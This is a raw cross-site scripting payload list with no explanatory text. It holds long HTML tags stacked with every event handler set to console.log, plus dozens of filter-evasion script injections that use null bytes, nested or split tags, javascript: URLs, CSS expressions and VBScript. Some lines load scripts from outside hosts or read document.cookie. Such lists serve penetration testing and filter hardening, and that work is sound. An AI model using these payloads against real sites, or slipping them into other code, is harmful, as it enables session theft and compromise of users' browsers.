oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</output>
<p onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</p>
<p onbeforescriptexecute="alert(1)"><svg><script>\</p>
<p style="background:url('javascript:alert(1)')">
<p style="font-family:'\22\3bx:expression(alert(1))/*'">
<p/onmouseover=javascript:alert(1); >X</p>
<param onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</param>
<plaintext>
<pre onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</pre>
<pre style=line-height:1><script>d=document;for(i=1;i<4001;i++){d.write(Math.random()<.5?"\u2571":"\u2572");d.write(i%80?"":"\n")}</script>
<progress onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</progress>
<q onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</q>
<q/oncut=alert(1)>
<rp onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</rp>
<rt onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</rt>
<ruby onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</ruby>
<s onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</s>
<s%00c%00r%00%00ip%00t>confirm(1);</s%00c%00r%00%00ip%00t>
<sCRiPt>alert(1);</sCRipT>
<s[NULL]cript>alert(1)</s[NULL]cript>'>X</a>
<samp onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" <em>="Renders as emphasized text" <strong>="Defines important text" <code>="Defines a piece of computer code" <samp>="Defines sample output from a computer program" <kbd>="Defines keyboard input" <var>="Defines a variable">Test</samp>
<sc'+'ript>alert(1)</script>
<sc<script>ript>alert(123)</sc</script>ript>
<sc<script>ript>alert(13)</sc</script>ript>
<scr%00ipt%20&message=> alert(X)</script>
<scr%00ipt%20&message=> alert(‘X’)</script>
<scr%00ipt>prompt(1)</sc%00ript>
<scr/**/ipt>alert(1)</sc/**/ipt>
<scr<object>ipt>alert(1)</script>
<scr<script>ipt>alert('XSS')</scr</script>ipt>
<scr<script>ipt>alert(0x000123)</scr</script>ipt>
<scr<script>ipt>alert(0x000123)</script>
<scr<script>ipt>alert(1)</scr<script>ipt>
<scr<script>ipt>alert(1)</script>
<scr<script>ipt>prompt(document.cookie)</scr</script>ipt>
<scr\0ipt>prompt(1)</sc\0ript>
<scr\x00ipt>confirm(1);</scr\x00ipt>
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
<scrip<script>t>alert(1)</script>
<script a b c >alert(1)</script d e f>
<script async>alert(1);</script async>
<script charset>alert(1);</script charset>
<script crossorigin>alert(1);</script>
<script event=onload for=window>return alert(2)};{ //IE11 only</script>
<script id=x>x.removeAttributeNode(document.createAttribute(status))</script>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<script language=vbs>MsgBox 1</script>
<script language=vbs>execScript(alert(1))</script>
<script language=vbs>execScript(“alert(1)”)</script>
<script onafterprint="console.log(244599)" onbeforeprint="console.log(309354)" onbeforeunload="console.log(879813)" onerror="console.log(949564)" onhashchange="console.log(575242)" onload="console.log(301053)" onmessage="console.log(976974)" onoffline="console.log(796090)" ononline="console.log(432638)" onpagehide="console.log(504345)" onpageshow="console.log(696619)" onpopstate="console.log(398418)" onresize="console.log(943097)" onstorage="console.log(882233)" onunload="console.log(929443)" onblur="console.log(932104)" onchange="console.log(102339)" oncontextmenu="console.log(761265)" onfocus="console.log(188946)" oninput="console.log(143653)" oninvalid="console.log(304208)" onreset="console.log(318472)" onsearch="console.log(778420)" onselect="console.log(942035)" onsubmit="console.log(603589)" onkeydown="console.log(650647)" onkeypress="console.log(579383)" onkeyup="console.log(821763)" onclick="console.log(284098)" ondblclick="console.log(477370)" ondrag="console.log(439095)" ondragend="console.log(546684)" ondragenter="console.log(197257)" ondragleave="console.log(238440)" ondragover="console.log(783418)" ondragstart="console.log(773843)" ondrop="console.log(436878)" onmousedown="console.log(153386)" onmousemove="console.log(598217)" onmouseout="console.log(425628)" onmouseover="console.log(359441)" onmouseup="console.log(687310)" onmousewheel="console.log(823824)" onscroll="console.log(175565)" onwheel="console.log(595449)" oncopy="console.log(243603)" oncut="console.log(841770)" onpaste="console.log(489332)" onabort="console.log(516667)" oncanplay="console.log(329437)" oncanplaythrough="console.log(754238)" oncuechange="console.log(268702)" ondurationchange="console.log(455721)" onemptied="console.log(923165)" onended="console.log(330716)" onerror="console.log(382133)" onloadeddata="console.log(268470)" onloadedmetadata="console.log(934963)" onloadstart="console.log(664605)" onpause="console.log(957774)" onplay="console.log(750548)" onplaying="console.log(887438)" onprogress="console.log(648208)" onratechange="console.log(742465)" onseeked="console.log(559902)" onseeking="console.log(296937)" onstalled="console.log(613468)" onsuspend="console.log(651399)" ontimeupdate="console.log(993291)" onvolumechange="console.log(508203)" onwaiting="console.log(146149)" onerror="console.log(470459)" onshow="console.log(586099)" ontoggle="console.log(739568)" accesskey="test3617" class="test3617" contenteditable="test3617" contextmenu="test3617" data-nent="test3617" dir="test3617" draggable="test3617" dropzone="test3617" hidden="test3617" id="test3617" lang="test3617" spellcheck="test3617" style="display:block" tabindex="test3617" title="test3617" translate="test3617" >Test</script>
<script onreadystatechange=alert(1)>
<script src="//brutelogic.com.br/1.js#
<script src="//⒕₨"></script>)
<script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10<script src="\\example.com\foo.js"></script> // Safari 5.0
<script src=//brutelogic.com.br/1.js>
<script src=javascript:alert(1)>
<script type="text/javascript">window.open("http://127.0.0.1:3555/xss_serve_payloads/X.html","_self");</script>
<script type="text/rocketscript">prompt(7`)</script>
<script type=text/babel>prompt(7)</script>
<script type=text/javascript>alert(1)</script>
<script type=text/vbscript>msgbox document.location</script> // IE 10
<script xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg">alert('xss');</script>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>
<script%00>alert(1)</script%00>
<script%0Caaaaa>alert(123)</script>
<script%0Daaa>alert(1)</script%0Daaaa>
<script%0a%0dConfirm(1);</script>
<script%20TEST>alert(1)</script%20TESTTEST>
<script%20language=vbscript>msgbox%20X</script>
<script%20src="//www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1">
<script' + Array(999999).join('/') + '>alert(1)<\/script>
<script/%00%00v%00%00>confirm(/@jackmasa/)</script> and %c0″//(%000000%0dconfirm(1)//
<script/src=data:text/javascript,alert(1)></script>
<script/src=//⑭.₨>
<script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/X/)></script
<script<{alert(1)}/></script </>
<script>alert(1).replace(/.+/,eval)</script>
<script> function b() { return Safe.get(); } alert(b({type:String.fromCharCode(99,108,105,99,107),isTrusted:true})); </script>
<script> function foo(elem, doc, text) { elem.onclick = function (e) { e.__defineGetter__(text[0], function () { return true }) alert(Safe.get()); }; var event = doc.createEvent(text[1]); event.initEvent(text[2], true, true); elem.dispatchEvent(event); } </script> <img src=http://www.google.fr/images/srpr/logo3w.png onload=foo(this,this.ownerDocument,this.name.split(/,/)) name=isTrusted,MouseEvent,click width=0 height=0 /> #
